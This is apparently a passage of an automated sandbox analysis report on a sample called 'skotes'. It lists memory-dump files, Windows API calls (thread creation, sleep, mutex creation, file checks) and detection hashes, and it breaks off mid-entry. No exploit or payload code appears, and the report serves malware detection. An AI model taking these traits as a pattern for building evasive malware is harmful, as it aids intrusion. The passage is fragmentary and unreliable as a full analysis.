Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xg
API String ID: 565725191-1829962876
Opcode ID: a0fb2163d153d4cce6810a7b03cc1d3b51a86adb6427a6e6aa34a524b7c614d6
Instruction ID: 581024592d8413bc8559c6762c2b0aa7ba5546ed5612290f064209b1ff140cc5
Opcode Fuzzy Hash: a0fb2163d153d4cce6810a7b03cc1d3b51a86adb6427a6e6aa34a524b7c614d6
Instruction Fuzzy Hash: 9E51F772D0029DABDB14EF66CC819AE77FCFB44314B10626EE650F7291E7709E41AB60

Function 00ED6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00ED6EE6), ref: 00ED6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00ED7030
__dosmaperr.LIBCMT ref: 00ED70C5

Part of subcall function 00ED732A: __dosmaperr.LIBCMT ref: 00ED735F

Strings

n, xrefs: 00ED6FCE

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n
API String ID: 2531987475-3297054318
Opcode ID: e141f4e8a0b3e943c56d369b2b6f22523563ac21887d52e6e8896c0c2c700f74
Instruction ID: 56cc17c2c9695f5e48cab9819c32a222983df645b3bea4575be02ab661e36ccf
Opcode Fuzzy Hash: e141f4e8a0b3e943c56d369b2b6f22523563ac21887d52e6e8896c0c2c700f74
Instruction Fuzzy Hash: 72416E71904204ABDB24EFB5DC419AFBBF9EF89304B10592EF996E3350F6309942CB61

Function 00EA7590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,948A6F40,?,00000000,00EE9138,000000FF), ref: 00EA75CC
CreateThread.KERNEL32(00000000,00000000,00EA7430,00F08638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00EA76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00EA76C9

Part of subcall function 00EBD0C7: RtlWakeAllConditionVariable.NTDLL ref: 00EBD17B

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 3cc7edbcd6ffefff8926d2e2b35919680689ddb7e7c57c3f846275fe39ea2c29
Instruction ID: cc77a137e8fc5fec242a4ddf4fbdccd6caf7b1f5e6fe3c730cf64017f77707ed
Opcode Fuzzy Hash: 3cc7edbcd6ffefff8926d2e2b35919680689ddb7e7c57c3f846275fe39ea2c29
Instruction Fuzzy Hash: 7E51F170204248EBEB14DF28CC85B8D3BA5FB49344F505629F884AB3D1DB7AE885DF91

Function 00EA9BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EA9BA8
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 352085fd7bdf16d2ee18a8f4392765b741ba98aee5bab7a5c01c9830580af657
Instruction ID: 63f3c8ea8e1fb07a15e11b308b2949141998d865578b72f070a4f1c202a95721
Opcode Fuzzy Hash: 352085fd7bdf16d2ee18a8f4392765b741ba98aee5bab7a5c01c9830580af657
Instruction Fuzzy Hash: 56312A716042048BEB08EF78EC8979EF7A6EBCB314F245218E014BB3D6C775A981C751

Function 00EA9CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EA9CDD
Sleep.KERNEL32(00000064,?), ref: 00EAA963
CreateMutexA.KERNEL32(00000000,00000000,00F03254), ref: 00EAA981

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5e32b7d71d8a73bd298d5ae4c3ff2bcbf4326f318793c666819d8f0c1a21687c
Instruction ID: 6088cd4dc6f31d5c0926ce335400d7b40ba495430c1ac7e7978b101c77cf5145
